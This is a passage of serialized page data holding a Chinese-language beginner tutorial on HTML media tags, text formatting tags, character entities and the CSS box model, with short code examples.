元素选择器",{"type":18,"tag":34,"props":10450,"children":10451},{},[10452],{"type":18,"tag":105,"props":10453,"children":10454},{},[10455],{"type":24,"value":10456},"视频展示",{"type":18,"tag":287,"props":10458,"children":10460},{"className":9608,"code":10459,"language":9610,"meta":8,"style":8},"\u003C!-- 定义一个视频，引入 video\u002Fnews.mp4 -->\n\u003C!-- video标签属性\n    src：视频地址\n    controls：显示播放控件\n    autoplay：自动播放\n    width：视频宽度(建议：宽度和高度只设置一个即可，另一个会等比例缩放)\n    height：视频高度\n    单位：\n        px：像素\n        %：百分比 (相对于父元素的百分比)\n-->\n\u003Cvideo src=\"video\u002Fnews.mp4\" controls width=\"800px\">\u003C\u002Fvideo>\n",[10461],{"type":18,"tag":74,"props":10462,"children":10463},{"__ignoreMap":8},[10464,10472,10480,10488,10496,10504,10512,10520,10528,10536,10544,10551],{"type":18,"tag":297,"props":10465,"children":10466},{"class":299,"line":300},[10467],{"type":18,"tag":297,"props":10468,"children":10469},{"style":5380},[10470],{"type":24,"value":10471},"\u003C!-- 定义一个视频，引入 video\u002Fnews.mp4 -->\n",{"type":18,"tag":297,"props":10473,"children":10474},{"class":299,"line":657},[10475],{"type":18,"tag":297,"props":10476,"children":10477},{"style":5380},[10478],{"type":24,"value":10479},"\u003C!-- video标签属性\n",{"type":18,"tag":297,"props":10481,"children":10482},{"class":299,"line":662},[10483],{"type":18,"tag":297,"props":10484,"children":10485},{"style":5380},[10486],{"type":24,"value":10487},"    src：视频地址\n",{"type":18,"tag":297,"props":10489,"children":10490},{"class":299,"line":799},[10491],{"type":18,"tag":297,"props":10492,"children":10493},{"style":5380},[10494],{"type":24,"value":10495},"    controls：显示播放控件\n",{"type":18,"tag":297,"props":10497,"children":10498},{"class":299,"line":808},[10499],{"type":18,"tag":297,"props":10500,"children":10501},{"style":5380},[10502],{"type":24,"value":10503},"    autoplay：自动播放\n",{"type":18,"tag":297,"props":10505,"children":10506},{"class":299,"line":817},[10507],{"type":18,"tag":297,"props":10508,"children":10509},{"style":5380},[10510],{"type":24,"value":10511},"    width：视频宽度(建议：宽度和高度只设置一个即可，另一个会等比例缩放)\n",{"type":18,"tag":297,"props":10513,"children":10514},{"class":299,"line":826},[10515],{"type":18,"tag":297,"props":10516,"children":10517},{"style":5380},[10518],{"type":24,"value":10519},"    height：视频高度\n",{"type":18,"tag":297,"props":10521,"children":10522},{"class":299,"line":4524},[10523],{"type":18,"tag":297,"props":10524,"children":10525},{"style":5380},[10526],{"type":24,"value":10527},"    单位：\n",{"type":18,"tag":297,"props":10529,"children":10530},{"class":299,"line":4533},[10531],{"type":18,"tag":297,"props":10532,"children":10533},{"style":5380},[10534],{"type":24,"value":10535},"        px：像素\n",{"type":18,"tag":297,"props":10537,"children":10538},{"class":299,"line":4546},[10539],{"type":18,"tag":297,"props":10540,"children":10541},{"style":5380},[10542],{"type":24,"value":10543},"        %：百分比 (相对于父元素的百分比)\n",{"type":18,"tag":297,"props":10545,"children":10546},{"class":299,"line":4555},[10547],{"type":18,"tag":297,"props":10548,"children":10549},{"style":5380},[10550],{"type":24,"value":9670},{"type":18,"tag":297,"props":10552,"children":10553},{"class":299,"line":4568},[10554,10558,10563,10568,10572,10577,10582,10587,10591,10596,10601,10605],{"type":18,"tag":297,"props":10555,"children":10556},{"style":327},[10557],{"type":24,"value":319},{"type":18,"tag":297,"props":10559,"children":10560},{"style":9680},[10561],{"type":24,"value":10562},"video",{"type":18,"tag":297,"props":10564,"children":10565},{"style":304},[10566],{"type":24,"value":10567}," src",{"type":18,"tag":297,"props":10569,"children":10570},{"style":327},[10571],{"type":24,"value":9692},{"type":18,"tag":297,"props":10573,"children":10574},{"style":310},[10575],{"type":24,"value":10576},"\"video\u002Fnews.mp4\"",{"type":18,"tag":297,"props":10578,"children":10579},{"style":304},[10580],{"type":24,"value":10581}," controls",{"type":18,"tag":297,"props":10583,"children":10584},{"style":304},[10585],{"type":24,"value":10586}," width",{"type":18,"tag":297,"props":10588,"children":10589},{"style":327},[10590],{"type":24,"value":9692},{"type":18,"tag":297,"props":10592,"children":10593},{"style":310},[10594],{"type":24,"value":10595},"\"800px\"",{"type":18,"tag":297,"props":10597,"children":10598},{"style":327},[10599],{"type":24,"value":10600},">\u003C\u002F",{"type":18,"tag":297,"props":10602,"children":10603},{"style":9680},[10604],{"type":24,"value":10562},{"type":18,"tag":297,"props":10606,"children":10607},{"style":327},[10608],{"type":24,"value":335},{"type":18,"tag":34,"props":10610,"children":10611},{},[10612],{"type":18,"tag":105,"props":10613,"children":10614},{},[10615],{"type":24,"value":10616},"音频展示",{"type":18,"tag":287,"props":10618,"children":10620},{"className":9608,"code":10619,"language":9610,"meta":8,"style":8},"\u003C!-- 定义一个音频，引入 audio\u002Fnews.mp3 -->\n\u003Caudio src=\"audio\u002Fnews.mp3\" controls>\u003C\u002Faudio>\n",[10621],{"type":18,"tag":74,"props":10622,"children":10623},{"__ignoreMap":8},[10624,10632],{"type":18,"tag":297,"props":10625,"children":10626},{"class":299,"line":300},[10627],{"type":18,"tag":297,"props":10628,"children":10629},{"style":5380},[10630],{"type":24,"value":10631},"\u003C!-- 定义一个音频，引入 audio\u002Fnews.mp3 -->\n",{"type":18,"tag":297,"props":10633,"children":10634},{"class":299,"line":657},[10635,10639,10644,10648,10652,10657,10661,10665,10669],{"type":18,"tag":297,"props":10636,"children":10637},{"style":327},[10638],{"type":24,"value":319},{"type":18,"tag":297,"props":10640,"children":10641},{"style":9680},[10642],{"type":24,"value":10643},"audio",{"type":18,"tag":297,"props":10645,"children":10646},{"style":304},[10647],{"type":24,"value":10567},{"type":18,"tag":297,"props":10649,"children":10650},{"style":327},[10651],{"type":24,"value":9692},{"type":18,"tag":297,"props":10653,"children":10654},{"style":310},[10655],{"type":24,"value":10656},"\"audio\u002Fnews.mp3\"",{"type":18,"tag":297,"props":10658,"children":10659},{"style":304},[10660],{"type":24,"value":10581},{"type":18,"tag":297,"props":10662,"children":10663},{"style":327},[10664],{"type":24,"value":10600},{"type":18,"tag":297,"props":10666,"children":10667},{"style":9680},[10668],{"type":24,"value":10643},{"type":18,"tag":297,"props":10670,"children":10671},{"style":327},[10672],{"type":24,"value":335},{"type":18,"tag":34,"props":10674,"children":10675},{},[10676],{"type":18,"tag":105,"props":10677,"children":10678},{},[10679],{"type":24,"value":10680},"图片展示",{"type":18,"tag":287,"props":10682,"children":10684},{"className":9608,"code":10683,"language":9610,"meta":8,"style":8},"\u003C!-- 定义一张图片，引入 img\u002F1.gif -->\n\u003C!-- img标签属性：\n    src：图片的访问地址\n        1. 绝对路径\n            1.1 绝对磁盘路径：C:\\Users\\Administrator\\Desktop\\img\\1.gif（不推荐）\n            1.2 绝对网络路径：https:\u002F\u002Fwww.baidu.com\u002Fimg\u002F1.gif\n        2. 相对路径\n            2.1 .\u002F ：当前目录（可以省略），如：.\u002Fimg\u002F1.gif\n            2.2 ..\u002F：上一级目录\n    width：图片宽度(建议：宽度和高度只设置一个即可，另一个会等比例缩放)\n    height：图片高度\n-->\n\u003Cimg src=\"img\u002F1.gif\" >\u003C\u002Fimg>\n",[10685],{"type":18,"tag":74,"props":10686,"children":10687},{"__ignoreMap":8},[10688,10696,10704,10712,10720,10728,10736,10744,10752,10760,10768,10776,10783],{"type":18,"tag":297,"props":10689,"children":10690},{"class":299,"line":300},[10691],{"type":18,"tag":297,"props":10692,"children":10693},{"style":5380},[10694],{"type":24,"value":10695},"\u003C!-- 定义一张图片，引入 img\u002F1.gif -->\n",{"type":18,"tag":297,"props":10697,"children":10698},{"class":299,"line":657},[10699],{"type":18,"tag":297,"props":10700,"children":10701},{"style":5380},[10702],{"type":24,"value":10703},"\u003C!-- img标签属性：\n",{"type":18,"tag":297,"props":10705,"children":10706},{"class":299,"line":662},[10707],{"type":18,"tag":297,"props":10708,"children":10709},{"style":5380},[10710],{"type":24,"value":10711},"    src：图片的访问地址\n",{"type":18,"tag":297,"props":10713,"children":10714},{"class":299,"line":799},[10715],{"type":18,"tag":297,"props":10716,"children":10717},{"style":5380},[10718],{"type":24,"value":10719},"        1. 绝对路径\n",{"type":18,"tag":297,"props":10721,"children":10722},{"class":299,"line":808},[10723],{"type":18,"tag":297,"props":10724,"children":10725},{"style":5380},[10726],{"type":24,"value":10727},"            1.1 绝对磁盘路径：C:\\Users\\Administrator\\Desktop\\img\\1.gif（不推荐）\n",{"type":18,"tag":297,"props":10729,"children":10730},{"class":299,"line":817},[10731],{"type":18,"tag":297,"props":10732,"children":10733},{"style":5380},[10734],{"type":24,"value":10735},"            1.2 绝对网络路径：https:\u002F\u002Fwww.baidu.com\u002Fimg\u002F1.gif\n",{"type":18,"tag":297,"props":10737,"children":10738},{"class":299,"line":826},[10739],{"type":18,"tag":297,"props":10740,"children":10741},{"style":5380},[10742],{"type":24,"value":10743},"        2. 相对路径\n",{"type":18,"tag":297,"props":10745,"children":10746},{"class":299,"line":4524},[10747],{"type":18,"tag":297,"props":10748,"children":10749},{"style":5380},[10750],{"type":24,"value":10751},"            2.1 .\u002F ：当前目录（可以省略），如：.\u002Fimg\u002F1.gif\n",{"type":18,"tag":297,"props":10753,"children":10754},{"class":299,"line":4533},[10755],{"type":18,"tag":297,"props":10756,"children":10757},{"style":5380},[10758],{"type":24,"value":10759},"            2.2 ..\u002F：上一级目录\n",{"type":18,"tag":297,"props":10761,"children":10762},{"class":299,"line":4546},[10763],{"type":18,"tag":297,"props":10764,"children":10765},{"style":5380},[10766],{"type":24,"value":10767},"    width：图片宽度(建议：宽度和高度只设置一个即可，另一个会等比例缩放)\n",{"type":18,"tag":297,"props":10769,"children":10770},{"class":299,"line":4555},[10771],{"type":18,"tag":297,"props":10772,"children":10773},{"style":5380},[10774],{"type":24,"value":10775},"    height：图片高度\n",{"type":18,"tag":297,"props":10777,"children":10778},{"class":299,"line":4568},[10779],{"type":18,"tag":297,"props":10780,"children":10781},{"style":5380},[10782],{"type":24,"value":9670},{"type":18,"tag":297,"props":10784,"children":10785},{"class":299,"line":4577},[10786,10790,10794,10798,10802,10807,10812,10817],{"type":18,"tag":297,"props":10787,"children":10788},{"style":327},[10789],{"type":24,"value":319},{"type":18,"tag":297,"props":10791,"children":10792},{"style":9680},[10793],{"type":24,"value":54},{"type":18,"tag":297,"props":10795,"children":10796},{"style":304},[10797],{"type":24,"value":10567},{"type":18,"tag":297,"props":10799,"children":10800},{"style":327},[10801],{"type":24,"value":9692},{"type":18,"tag":297,"props":10803,"children":10804},{"style":310},[10805],{"type":24,"value":10806},"\"img\u002F1.gif\"",{"type":18,"tag":297,"props":10808,"children":10809},{"style":327},[10810],{"type":24,"value":10811}," >\u003C\u002F",{"type":18,"tag":297,"props":10813,"children":10815},{"style":10814},"--shiki-default:#FDAEB7;--shiki-default-font-style:italic",[10816],{"type":24,"value":54},{"type":18,"tag":297,"props":10818,"children":10819},{"style":327},[10820],{"type":24,"value":335},{"type":18,"tag":34,"props":10822,"children":10823},{},[10824],{"type":18,"tag":105,"props":10825,"children":10826},{},[10827],{"type":24,"value":10828},"段落属性",{"type":18,"tag":287,"props":10830,"children":10832},{"className":9858,"code":10831,"language":9860,"meta":8,"style":8},"p {\n      \u002F* 我想增加行高 *\u002F\n      line-height: 2; \u002F* 2倍行高 *\u002F\n      \u002F* 我想增加段落的缩进 *\u002F\n      text-indent: 2em; \u002F* 2个缩进 *\u002F\n}\n",[10833],{"type":18,"tag":74,"props":10834,"children":10835},{"__ignoreMap":8},[10836,10847,10855,10881,10889,10918],{"type":18,"tag":297,"props":10837,"children":10838},{"class":299,"line":300},[10839,10843],{"type":18,"tag":297,"props":10840,"children":10841},{"style":9680},[10842],{"type":24,"value":34},{"type":18,"tag":297,"props":10844,"children":10845},{"style":327},[10846],{"type":24,"value":9806},{"type":18,"tag":297,"props":10848,"children":10849},{"class":299,"line":657},[10850],{"type":18,"tag":297,"props":10851,"children":10852},{"style":5380},[10853],{"type":24,"value":10854},"      \u002F* 我想增加行高 *\u002F\n",{"type":18,"tag":297,"props":10856,"children":10857},{"class":299,"line":662},[10858,10863,10867,10871,10876],{"type":18,"tag":297,"props":10859,"children":10860},{"style":906},[10861],{"type":24,"value":10862},"      line-height",{"type":18,"tag":297,"props":10864,"children":10865},{"style":327},[10866],{"type":24,"value":9286},{"type":18,"tag":297,"props":10868,"children":10869},{"style":906},[10870],{"type":24,"value":488},{"type":18,"tag":297,"props":10872,"children":10873},{"style":327},[10874],{"type":24,"value":10875},"; ",{"type":18,"tag":297,"props":10877,"children":10878},{"style":5380},[10879],{"type":24,"value":10880},"\u002F* 2倍行高 *\u002F\n",{"type":18,"tag":297,"props":10882,"children":10883},{"class":299,"line":799},[10884],{"type":18,"tag":297,"props":10885,"children":10886},{"style":5380},[10887],{"type":24,"value":10888},"      \u002F* 我想增加段落的缩进 *\u002F\n",{"type":18,"tag":297,"props":10890,"children":10891},{"class":299,"line":808},[10892,10897,10901,10905,10909,10913],{"type":18,"tag":297,"props":10893,"children":10894},{"style":906},[10895],{"type":24,"value":10896},"      text-indent",{"type":18,"tag":297,"props":10898,"children":10899},{"style":327},[10900],{"type":24,"value":9286},{"type":18,"tag":297,"props":10902,"children":10903},{"style":906},[10904],{"type":24,"value":488},{"type":18,"tag":297,"props":10906,"children":10907},{"style":316},[10908],{"type":24,"value":6228},{"type":18,"tag":297,"props":10910,"children":10911},{"style":327},[10912],{"type":24,"value":10875},{"type":18,"tag":297,"props":10914,"children":10915},{"style":5380},[10916],{"type":24,"value":10917},"\u002F* 2个缩进 *\u002F\n",{"type":18,"tag":297,"props":10919,"children":10920},{"class":299,"line":817},[10921],{"type":18,"tag":297,"props":10922,"children":10923},{"style":327},[10924],{"type":24,"value":9524},{"type":18,"tag":27,"props":10926,"children":10928},{"id":10927},"_37-常用标签",[10929],{"type":24,"value":10930},"3.7 常用标签",{"type":18,"tag":34,"props":10932,"children":10933},{},[10934,10940],{"type":18,"tag":74,"props":10935,"children":10937},{"className":10936},[],[10938],{"type":24,"value":10939},"\u003Cbr>",{"type":24,"value":10941}," 表示换行（有几个将换几行）",{"type":18,"tag":34,"props":10943,"children":10944},{},[10945,10951],{"type":18,"tag":74,"props":10946,"children":10948},{"className":10947},[],[10949],{"type":24,"value":10950},"\u003Cp>...\u003C\u002Fp>",{"type":24,"value":10952}," 段落标签",{"type":18,"tag":34,"props":10954,"children":10955},{},[10956,10962,10963,10969],{"type":18,"tag":74,"props":10957,"children":10959},{"className":10958},[],[10960],{"type":24,"value":10961},"\u003Cb>...\u003C\u002Fb>",{"type":24,"value":8507},{"type":18,"tag":74,"props":10964,"children":10966},{"className":10965},[],[10967],{"type":24,"value":10968},"\u003Cstrong>...\u003C\u002Fstrong>",{"type":24,"value":10970}," 都表示加粗显示",{"type":18,"tag":34,"props":10972,"children":10973},{},[10974,10980],{"type":18,"tag":74,"props":10975,"children":10977},{"className":10976},[],[10978],{"type":24,"value":10979},"&nbsp;",{"type":24,"value":10981}," 表示空格符，在浏览器中会过滤掉空格，因此需要特定的字符表示空格",{"type":18,"tag":431,"props":10983,"children":10984},{},[10985,11005],{"type":18,"tag":435,"props":10986,"children":10987},{},[10988],{"type":18,"tag":439,"props":10989,"children":10990},{},[10991,10995,11000],{"type":18,"tag":443,"props":10992,"children":10993},{"align":3465},[10994],{"type":24,"value":10216},{"type":18,"tag":443,"props":10996,"children":10997},{"align":3465},[10998],{"type":24,"value":10999},"作用",{"type":18,"tag":443,"props":11001,"children":11002},{"align":3465},[11003],{"type":24,"value":11004},"属性 \u002F 说明",{"type":18,"tag":459,"props":11006,"children":11007},{},[11008,11043,11076,11109],{"type":18,"tag":439,"props":11009,"children":11010},{},[11011,11028,11033],{"type":18,"tag":466,"props":11012,"children":11013},{"align":3465},[11014,11020,11022],{"type":18,"tag":74,"props":11015,"children":11017},{"className":11016},[],[11018],{"type":24,"value":11019},"\u003Cb>",{"type":24,"value":11021}," \u002F ",{"type":18,"tag":74,"props":11023,"children":11025},{"className":11024},[],[11026],{"type":24,"value":11027},"\u003Cstrong>",{"type":18,"tag":466,"props":11029,"children":11030},{"align":3465},[11031],{"type":24,"value":11032},"加粗",{"type":18,"tag":466,"props":11034,"children":11035},{"align":3465},[11036,11041],{"type":18,"tag":74,"props":11037,"children":11039},{"className":11038},[],[11040],{"type":24,"value":11027},{"type":24,"value":11042}," 具有强调语义",{"type":18,"tag":439,"props":11044,"children":11045},{},[11046,11062,11067],{"type":18,"tag":466,"props":11047,"children":11048},{"align":3465},[11049,11055,11056],{"type":18,"tag":74,"props":11050,"children":11052},{"className":11051},[],[11053],{"type":24,"value":11054},"\u003Cu>",{"type":24,"value":11021},{"type":18,"tag":74,"props":11057,"children":11059},{"className":11058},[],[11060],{"type":24,"value":11061},"\u003Cins>",{"type":18,"tag":466,"props":11063,"children":11064},{"align":3465},[11065],{"type":24,"value":11066},"下划线",{"type":18,"tag":466,"props":11068,"children":11069},{"align":3465},[11070,11075],{"type":18,"tag":74,"props":11071,"children":11073},{"className":11072},[],[11074],{"type":24,"value":11061},{"type":24,"value":11042},{"type":18,"tag":439,"props":11077,"children":11078},{},[11079,11095,11100],{"type":18,"tag":466,"props":11080,"children":11081},{"align":3465},[11082,11088,11089],{"type":18,"tag":74,"props":11083,"children":11085},{"className":11084},[],[11086],{"type":24,"value":11087},"\u003Ci>",{"type":24,"value":11021},{"type":18,"tag":74,"props":11090,"children":11092},{"className":11091},[],[11093],{"type":24,"value":11094},"\u003Cem>",{"type":18,"tag":466,"props":11096,"children":11097},{"align":3465},[11098],{"type":24,"value":11099},"倾斜",{"type":18,"tag":466,"props":11101,"children":11102},{"align":3465},[11103,11108],{"type":18,"tag":74,"props":11104,"children":11106},{"className":11105},[],[11107],{"type":24,"value":11094},{"type":24,"value":11042},{"type":18,"tag":439,"props":11110,"children":11111},{},[11112,11128,11133],{"type":18,"tag":466,"props":11113,"children":11114},{"align":3465},[11115,11121,11122],{"type":18,"tag":74,"props":11116,"children":11118},{"className":11117},[],[11119],{"type":24,"value":11120},"\u003Cs>",{"type":24,"value":11021},{"type":18,"tag":74,"props":11123,"children":11125},{"className":11124},[],[11126],{"type":24,"value":11127},"\u003Cdel>",{"type":18,"tag":466,"props":11129,"children":11130},{"align":3465},[11131],{"type":24,"value":11132},"删除线",{"type":18,"tag":466,"props":11134,"children":11135},{"align":3465},[11136,11141],{"type":18,"tag":74,"props":11137,"children":11139},{"className":11138},[],[11140],{"type":24,"value":11127},{"type":24,"value":11042},{"type":18,"tag":431,"props":11143,"children":11144},{},[11145,11160],{"type":18,"tag":435,"props":11146,"children":11147},{},[11148],{"type":18,"tag":439,"props":11149,"children":11150},{},[11151,11156],{"type":18,"tag":443,"props":11152,"children":11153},{"align":3465},[11154],{"type":24,"value":11155},"字符实体",{"type":18,"tag":443,"props":11157,"children":11158},{"align":3465},[11159],{"type":24,"value":11004},{"type":18,"tag":459,"props":11161,"children":11162},{},[11163,11179,11198],{"type":18,"tag":439,"props":11164,"children":11165},{},[11166,11174],{"type":18,"tag":466,"props":11167,"children":11168},{"align":3465},[11169],{"type":18,"tag":74,"props":11170,"children":11172},{"className":11171},[],[11173],{"type":24,"value":10979},{"type":18,"tag":466,"props":11175,"children":11176},{"align":3465},[11177],{"type":24,"value":11178},"空格",{"type":18,"tag":439,"props":11180,"children":11181},{},[11182,11191],{"type":18,"tag":466,"props":11183,"children":11184},{"align":3465},[11185],{"type":18,"tag":74,"props":11186,"children":11188},{"className":11187},[],[11189],{"type":24,"value":11190},"&lt;",{"type":18,"tag":466,"props":11192,"children":11193},{"align":3465},[11194],{"type":18,"tag":105,"props":11195,"children":11196},{},[11197],{"type":24,"value":319},{"type":18,"tag":439,"props":11199,"children":11200},{},[11201,11210],{"type":18,"tag":466,"props":11202,"children":11203},{"align":3465},[11204],{"type":18,"tag":74,"props":11205,"children":11207},{"className":11206},[],[11208],{"type":24,"value":11209},"&gt;",{"type":18,"tag":466,"props":11211,"children":11212},{"align":3465},[11213],{"type":18,"tag":105,"props":11214,"children":11215},{},[11216],{"type":24,"value":11217},">",{"type":18,"tag":27,"props":11219,"children":11221},{"id":11220},"_38-盒子模型",[11222],{"type":24,"value":11223},"3.8 盒子模型",{"type":18,"tag":210,"props":11225,"children":11226},{},[11227,11243],{"type":18,"tag":158,"props":11228,"children":11229},{},[11230,11235,11237,11241],{"type":18,"tag":105,"props":11231,"children":11232},{},[11233],{"type":24,"value":11234},"盒子",{"type":24,"value":11236},"：页面中所有的元素（标签），都可以看做是一个",{"type":18,"tag":105,"props":11238,"children":11239},{},[11240],{"type":24,"value":11234},{"type":24,"value":11242},"，由盒子将页面中的元素包含在一个矩形区域内，通过盒子的视角更方便的进行页面布局",{"type":18,"tag":158,"props":11244,"children":11245},{},[11246,11251,11252,11257,11258,11263,11264,11269,11270],{"type":18,"tag":105,"props":11247,"children":11248},{},[11249],{"type":24,"value":11250},"盒子模型组成",{"type":24,"value":222},{"type":18,"tag":105,"props":11253,"children":11254},{},[11255],{"type":24,"value":11256},"内容区域（content）",{"type":24,"value":1942},{"type":18,"tag":105,"props":11259,"children":11260},{},[11261],{"type":24,"value":11262},"内边距区域（padding）",{"type":24,"value":1942},{"type":18,"tag":105,"props":11265,"children":11266},{},[11267],{"type":24,"value":11268},"边框区域（border）",{"type":24,"value":1942},{"type":18,"tag":105,"props":11271,"children":11272},{},[11273],{"type":24,"value":11274},"外边距区域（margin）",{"type":18,"tag":34,"props":11276,"children":11277},{},[11278],{"type":18,"tag":54,"props":11279,"children":11282},{"alt":11280,"src":11281},"1775989587782","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775989587782.png",[],{"type":18,"tag":34,"props":11284,"children":11285},{},[11286,11291,11293,11299,11300,11305],{"type":18,"tag":105,"props":11287,"children":11288},{},[11289],{"type":24,"value":11290},"布局标签",{"type":24,"value":11292},"：网页开发中，会使用 ",{"type":18,"tag":74,"props":11294,"children":11296},{"className":11295},[],[11297],{"type":24,"value":11298},"div",{"type":24,"value":8507},{"type":18,"tag":74,"props":11301,"children":11303},{"className":11302},[],[11304],{"type":24,"value":297},{"type":24,"value":11306}," 这两个没有语义的布局标签。",{"type":18,"tag":34,"props":11308,"children":11309},{},[11310],{"type":18,"tag":105,"props":11311,"children":11312},{},[11313],{"type":24,"value":11314},"特点对比",{"type":18,"tag":210,"props":11316,"children":11317},{},[11318,11361],{"type":18,"tag":158,"props":11319,"children":11320},{},[11321,11327,11329],{"type":18,"tag":74,"props":11322,"children":11324},{"className":11323},[],[11325],{"type":24,"value":11326},"\u003Cdiv>",{"type":24,"value":11328}," 标签\n",{"type":18,"tag":210,"props":11330,"children":11331},{},[11332,11337,11342],{"type":18,"tag":158,"props":11333,"children":11334},{},[11335],{"type":24,"value":11336},"一行只显示一个（独占一行）",{"type":18,"tag":158,"props":11338,"children":11339},{},[11340],{"type":24,"value":11341},"宽度默认是父元素的宽度，高度默认由内容撑开",{"type":18,"tag":158,"props":11343,"children":11344},{},[11345,11347,11353,11354,11360],{"type":24,"value":11346},"可以设置宽高（",{"type":18,"tag":74,"props":11348,"children":11350},{"className":11349},[],[11351],{"type":24,"value":11352},"width",{"type":24,"value":1942},{"type":18,"tag":74,"props":11355,"children":11357},{"className":11356},[],[11358],{"type":24,"value":11359},"height",{"type":24,"value":6182},{"type":18,"tag":158,"props":11362,"children":11363},{},[11364,11370,11371],{"type":18,"tag":74,"props":11365,"children":11367},{"className":11366},[],[11368],{"type":24,"value":11369},"\u003Cspan>",{"type":24,"value":11328},{"type":18,"tag":210,"props":11372,"children":11373},{},[11374,11379,11384],{"type":18,"tag":158,"props":11375,"children":11376},{},[11377],{"type":24,"value":11378},"一行可以显示多个",{"type":18,"tag":158,"props":11380,"children":11381},{},[11382],{"type":24,"value":11383},"宽度和高度默认由内容撑开",{"type":18,"tag":158,"props":11385,"children":11386},{},[11387,11389,11394,11395,11400],{"type":24,"value":11388},"不可以设置宽高（",{"type":18,"tag":74,"props":11390,"children":11392},{"className":11391},[],[11393],{"type":24,"value":11352},{"type":24,"value":1942},{"type":18,"tag":74,"props":11396,"children":11398},{"className":11397},[],[11399],{"type":24,"value":11359},{"type":24,"value":6182},{"type":18,"tag":34,"props":11402,"children":11403},{},[11404],{"type":18,"tag":54,"props":11405,"children":11408},{"alt":11406,"src":11407},"1775989889166","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775989889166.png",[],{"type":18,"tag":287,"props":11410,"children":11412},{"className":9608,"code":11411,"language":9610,"meta":8,"style":8},"\u003Ctitle>盒子模型\u003C\u002Ftitle>\n\u003Cstyle>\n#div1 {\n    width: 400px; \u002F* 宽度：400像素；默认是内容展示区域的宽度 *\u002F\n    height: 300px; \u002F* 高度：300像素；默认是内容展示区域的高度 *\u002F\n    background-color: #ffff00;\n    padding: 30px; \u002F* 内边距：30像素 *\u002F\n    box-sizing: border-box;\n    border: 20px solid #ff00ff; \u002F* 边框：20像素 *\u002F\n    margin: 30px auto; \u002F* 外边距：30像素 *\u002F\n}\n\u003C\u002Fstyle>\n",[11413],{"type":18,"tag":74,"props":11414,"children":11415},{"__ignoreMap":8},[11416,11441,11456,11468,11499,11529,11550,11580,11601,11640,11674,11681],{"type":18,"tag":297,"props":11417,"children":11418},{"class":299,"line":300},[11419,11423,11428,11433,11437],{"type":18,"tag":297,"props":11420,"children":11421},{"style":327},[11422],{"type":24,"value":319},{"type":18,"tag":297,"props":11424,"children":11425},{"style":9680},[11426],{"type":24,"value":11427},"title",{"type":18,"tag":297,"props":11429,"children":11430},{"style":327},[11431],{"type":24,"value":11432},">盒子模型\u003C\u002F",{"type":18,"tag":297,"props":11434,"children":11435},{"style":9680},[11436],{"type":24,"value":11427},{"type":18,"tag":297,"props":11438,"children":11439},{"style":327},[11440],{"type":24,"value":335},{"type":18,"tag":297,"props":11442,"children":11443},{"class":299,"line":657},[11444,11448,11452],{"type":18,"tag":297,"props":11445,"children":11446},{"style":327},[11447],{"type":24,"value":319},{"type":18,"tag":297,"props":11449,"children":11450},{"style":9680},[11451],{"type":24,"value":651},{"type":18,"tag":297,"props":11453,"children":11454},{"style":327},[11455],{"type":24,"value":335},{"type":18,"tag":297,"props":11457,"children":11458},{"class":299,"line":662},[11459,11464],{"type":18,"tag":297,"props":11460,"children":11461},{"style":304},[11462],{"type":24,"value":11463},"#div1",{"type":18,"tag":297,"props":11465,"children":11466},{"style":327},[11467],{"type":24,"value":9806},{"type":18,"tag":297,"props":11469,"children":11470},{"class":299,"line":799},[11471,11476,11480,11485,11490,11494],{"type":18,"tag":297,"props":11472,"children":11473},{"style":906},[11474],{"type":24,"value":11475},"    width",{"type":18,"tag":297,"props":11477,"children":11478},{"style":327},[11479],{"type":24,"value":9286},{"type":18,"tag":297,"props":11481,"children":11482},{"style":906},[11483],{"type":24,"value":11484},"400",{"type":18,"tag":297,"props":11486,"children":11487},{"style":316},[11488],{"type":24,"value":11489},"px",{"type":18,"tag":297,"props":11491,"children":11492},{"style":327},[11493],{"type":24,"value":10875},{"type":18,"tag":297,"props":11495,"children":11496},{"style":5380},[11497],{"type":24,"value":11498},"\u002F* 宽度：400像素；默认是内容展示区域的宽度 *\u002F\n",{"type":18,"tag":297,"props":11500,"children":11501},{"class":299,"line":808},[11502,11507,11511,11516,11520,11524],{"type":18,"tag":297,"props":11503,"children":11504},{"style":906},[11505],{"type":24,"value":11506},"    height",{"type":18,"tag":297,"props":11508,"children":11509},{"style":327},[11510],{"type":24,"value":9286},{"type":18,"tag":297,"props":11512,"children":11513},{"style":906},[11514],{"type":24,"value":11515},"300",{"type":18,"tag":297,"props":11517,"children":11518},{"style":316},[11519],{"type":24,"value":11489},{"type":18,"tag":297,"props":11521,"children":11522},{"style":327},[11523],{"type":24,"value":10875},{"type":18,"tag":297,"props":11525,"children":11526},{"style":5380},[11527],{"type":24,"value":11528},"\u002F* 高度：300像素；默认是内容展示区域的高度 *\u002F\n",{"type":18,"tag":297,"props":11530,"children":11531},{"class":299,"line":817},[11532,11537,11541,11546],{"type":18,"tag":297,"props":11533,"children":11534},{"style":906},[11535],{"type":24,"value":11536},"    background-color",{"type":18,"tag":297,"props":11538,"children":11539},{"style":327},[11540],{"type":24,"value":9286},{"type":18,"tag":297,"props":11542,"children":11543},{"style":906},[11544],{"type":24,"value":11545},"#ffff00",{"type":18,"tag":297,"props":11547,"children":11548},{"style":327},[11549],{"type":24,"value":9828},{"type":18,"tag":297,"props":11551,"children":11552},{"class":299,"line":826},[11553,11558,11562,11567,11571,11575],{"type":18,"tag":297,"props":11554,"children":11555},{"style":906},[11556],{"type":24,"value":11557},"    padding",{"type":18,"tag":297,"props":11559,"children":11560},{"style":327},[11561],{"type":24,"value":9286},{"type":18,"tag":297,"props":11563,"children":11564},{"style":906},[11565],{"type":24,"value":11566},"30",{"type":18,"tag":297,"props":11568,"children":11569},{"style":316},[11570],{"type":24,"value":11489},{"type":18,"tag":297,"props":11572,"children":11573},{"style":327},[11574],{"type":24,"value":10875},{"type":18,"tag":297,"props":11576,"children":11577},{"style":5380},[11578],{"type":24,"value":11579},"\u002F* 内边距：30像素 *\u002F\n",{"type":18,"tag":297,"props":11581,"children":11582},{"class":299,"line":4524},[11583,11588,11592,11597],{"type":18,"tag":297,"props":11584,"children":11585},{"style":906},[11586],{"type":24,"value":11587},"    